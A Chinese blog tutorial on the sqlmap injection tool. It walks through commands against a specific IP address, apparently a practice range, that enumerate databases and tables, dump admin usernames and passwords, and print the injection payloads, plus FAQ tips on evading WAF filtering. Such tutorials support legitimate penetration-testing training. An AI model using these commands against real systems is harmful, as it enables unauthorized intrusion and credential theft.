sqlmap简介
功能介绍
sqlmap是一款开放源码的渗透测试工具,可以自动完成SQL注入并接管数据库服务器。它配备了一个强大的检测引擎,为最终的渗透测试者提供了许多小众功能,并提供了广泛的开关,从数据库指纹,数据库中获取数据,到访问底层文件系统,并通过带外连接在操作系统上执行命令。
主要特点
支持数据库类型
全面支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、Informix、MariaDB、MemSQL、TiDB、CockroachDB、HSQLDB、H2、MonetDB、Apache Derby、Amazon Redshift。Vertica、Mckoi、Presto、Altibase、MimerSQL、CrateDB、Greenplum、Drizzle、Apache Ignite、Cubrid、InterSystems Cache、IRIS、eXtremeDB、FrontBase、Raima数据库管理器、YugabyteDB和Virtuoso数据库管理系统。
支持SQL注入类型
全面支持六种SQL注入技术:
- 基于布尔的盲注
- 基于时间的盲注
- 基于错误的盲注
- 基于UNION查询的盲注
- 堆栈查询的盲注和带外的盲注。
针对MySQL、PostgreSQL或Microsoft SQL Server时
- 支持从数据库服务器底层文件系统下载和上传任何文件。
- 支持在数据库服务器底层操作系统上执行任意命令并检索其标准输出。
其他
- 支持通过提供DBMS凭证、IP地址、端口和数据库名,不通过SQL注入直接连接数据库。
- 支持枚举用户、密码哈希、权限、角色、数据库、表和列。
- 自动识别密码哈希格式,并支持使用基于字典的攻击方式进行破解。
- 支持根据用户的选择,完全转储数据库表、一系列条目或特定列。用户也可以选择只转储每个列的条目中的一个字符范围。
- 支持搜索特定的数据库名称、所有数据库的特定表或所有数据库表的特定列。这很有用,例如,当相关列的名称包含name和pass等字符串时,识别包含自定义应用程序凭证的表。
- 支持在攻击者机器和数据库服务器底层操作系统之间建立带外状态的TCP连接。该通道可以是交互式命令提示符、Meterpreter会话或图形用户界面(VNC)会话,由用户选择。
- 通过Metasploit的Meterpreter getsystem命令支持数据库进程的用户权限升级。
相关命令
查看数据库
命令
sqlmap -u "http://59.63.200.79:8003/?id=1" --dbs
运行效果
![图片[1]-如何使用sqlmap? sqlmap的常用命令-FancyPig's blog](https://static.iculture.cc/usr/uploads/2021/02/3888691659.png)
FO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[09:57:34] [INFO] fetching database names
[09:57:34] [INFO] fetching number of databases
[09:57:34] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:57:34] [INFO] retrieved: 3
[09:57:34] [INFO] retrieved: information_schema
[09:57:42] [INFO] retrieved: maoshe
[09:57:45] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] maoshe
[*] test
infrormation_schema
和 test
是数据库本身就有的表,加上浏览的页面跟猫舍有关系,猜测可能是上面的 maoshe
是数据库名称
查看数据表
命令
查看 maoshe
数据库下的数据表信息
sqlmap -u "http://59.63.200.79:8003/?id=1" -D maoshe --tables
效果
[*] starting @ 14:16:33 /2021-02-26/
[14:16:33] [INFO] resuming back-end DBMS 'mysql'
[14:16:33] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 6443=6443
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9750 FROM (SELECT(SLEEP(5)))cpyn)
---
[14:16:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:16:34] [INFO] fetching tables for database: 'maoshe'
[14:16:34] [INFO] fetching number of tables for database 'maoshe'
[14:16:34] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:16:34] [INFO] retrieved: 4
[14:16:34] [INFO] retrieved: admin
[14:16:37] [INFO] retrieved: dirs
[14:16:39] [INFO] retrieved: news
[14:16:41] [INFO] retrieved: xss
Database: maoshe
[4 tables]
+-------+
| admin |
| dirs |
| news |
| xss |
+-------+
[14:16:42] [INFO] fetched data logged to text files under '/home/q663962/.local/share/sqlmap/output/59.63.200.79'
[*] ending @ 14:16:42 /2021-02-26/
可以从上面查找到四个表,分别是 admin
、dirs
、news
、xss
查看表中的列
刚才已经找到了表,尝试查看 admin
表下面的列
命令
sqlmap -u "http://59.63.200.79:8003/?id=1" -D maoshe -T admin --columns
效果
`[*] starting @ 14:26:05 /2021-02-26/`
`[14:26:05] [INFO] resuming back-end DBMS 'mysql'`
`[14:26:05] [INFO] testing connection to the target URL`
`sqlmap resumed the following injection point(s) from stored session:`
---
`Parameter: id (GET)`
`Type: boolean-based blind`
`Title: AND boolean-based blind - WHERE or HAVING clause`
`Payload: id=1 AND 6443=6443`
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9750 FROM (SELECT(SLEEP(5)))cpyn)
---
`[14:26:05] [INFO] the back-end DBMS is MySQL`
`back-end DBMS: MySQL >= 5.0.12`
`[14:26:05] [INFO] fetching columns for table 'admin' in database 'maoshe'`
`[14:26:05] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval`
`[14:26:05] [INFO] retrieved: 3`
`[14:26:06] [INFO] retrieved: Id`
`[14:26:07] [INFO] retrieved: int(11)`
`[14:26:11] [INFO] retrieved: username`
`[14:26:14] [INFO] retrieved: varchar(11)`
`[14:26:20] [INFO] retrieved: password`
`[14:26:24] [INFO] retrieved: varchar(11)`
`Database: maoshe`
`Table: admin`
`[3 columns]`
`+----------+-------------+`
`| Column | Type |`
`+----------+-------------+`
`| Id | int(11) |`
`| password | varchar(11) |`
`| username | varchar(11) |`
`+----------+-------------+`
`[14:26:29] [INFO] fetched data logged to text files under '/home/q663962/.local/share/sqlmap/output/59.63.200.79'`
`[*] ending @ 14:26:29 /2021-02-26/`
从上面的执行结果中可以看到列出有 Id
、password
、username
参数
查看字段
-T
是table的缩写
-C
是columns的缩写
命令
sqlmap -u "http://59.63.200.79:8003/?id=1" -D maoshe -T admin -C "Id,username,password" --dump
效果
[*] starting @ 14:44:12 /2021-02-26/
[14:44:12] [INFO] resuming back-end DBMS 'mysql'
[14:44:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 6443=6443
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9750 FROM (SELECT(SLEEP(5)))cpyn)
---
[14:44:12] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[14:44:12] [INFO] fetching entries of column(s) 'Id,password,username' for table 'admin' in database 'maoshe'
[14:44:12] [INFO] fetching number of column(s) 'Id,password,username' entries for table 'admin' in database 'maoshe'
[14:44:12] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:44:12] [INFO] retrieved: 2
[14:44:13] [INFO] retrieved: 1
[14:44:21] [INFO] retrieved: hellohack
[14:44:36] [INFO] retrieved: admin
[14:44:55] [INFO] retrieved: 2
[14:44:56] [INFO] retrieved: hackers1
[14:45:15] [INFO] retrieved: whoiami?!!
Database: maoshe
Table: admin
[2 entries]
+----+----------+------------+
| Id | username | password |
+----+----------+------------+
| 1 | admin | hellohack |
| 2 | hackers1 | whoiami?!! |
+----+----------+------------+
[14:45:53] [INFO] table 'maoshe.admin' dumped to CSV file '/home/q663962/.local/share/sqlmap/output/59.63.200.79/dump/maoshe/admin.csv'
[14:45:53] [INFO] fetched data logged to text files under '/home/q663962/.local/share/sqlmap/output/59.63.200.79'
[*] ending @ 14:45:53 /2021-02-26/
可以得到用户名和密码
admin hellohack
hackers1 whoiami?!!
常见问题
以下资料整理自sqlmap wiki里的FAQ
使用哪个篡改脚本绕过(WAF / IPS)保护?
如果您无法手动评估目标,请不要使用篡改脚本。防篡改脚本仅在渗透测试人员首先知道如何绕过保护的情况下才使用(很可能是在请求/响应检查数小时之后)。无知地盲目使用和组合大量篡改脚本总是一个坏主意。
如何缩短sqlmap注入的有效负载?
您可以为sqlmap提供以下开关:
--no-cast Turn off payload casting mechanism
但是,另一方面,您可能会失去此开关在默认配置中提供的好处。
WARNING unknown charset '...'
啥意思
sqlmap需要正确解码页面内容才能正确检测和处理国际化字符。在某些情况下,Web开发人员在声明使用过的网页字符集(例如,iso_8859
而不是标准化名称 iso-8859
)时会犯错,这可能会引起问题。作为故障保护机制,我们结合了启发式检测引擎chardet,因此在大多数情况下sqlmap将自动处理此类问题。但是,强烈建议您向我们报告这些印刷错误,以便我们可以在代码中手动处理它们。
如何使用 mod_rewrite
启用的sqlmap ?
*
在sqlmap应该在URI本身中检查注入的地方添加一个星号。例如,./sqlmap.py -u "http://target.tld/id1/1*/id2/2"
sqlmap将在标记有 *
字符的位置注入其有效负载。此功能也适用于POST数据。支持多个注射点,并将顺序评估。
为什么在某些情况下sqlmap无法获得密码哈希?
会话用户很可能没有足够的权限来查询包含密码哈希的系统表。
开关 --text-only
有什么作用?
Switch --text-only
用于从检索的页面内容中删除非文本数据(标签,javascript,样式等),以进一步提高SQL注入检测功能。
我 [CRITICAL] connection timed
可以正常浏览该网站吗?
很少有WAF / IPS-es根据其默认 User-Agent
HTTP标头(例如 User-agent: sqlmap/1.0-dev
)过滤掉所有sqlmap请求。为了避免这种情况,建议您使用switch --random-agent
。如果您收到针对所有目标的此类消息,那么您很可能需要正确设置代理设置(开关 --proxy
和/或 --ignore-proxy
)。
是否有可能使用 INSERT/UPDATE
通过SQL命令 --sql-query
,--sql-shell
和 --sql-file
?
假设易受攻击的应用程序支持堆栈查询SQL注入,或者您使用 -d
switch直接连接到数据库并且会话用户具有此类特权(或特权),则可以在目标数据库上运行这些语句以及任何其他语句升级矢量已预先注入)。
暂无评论内容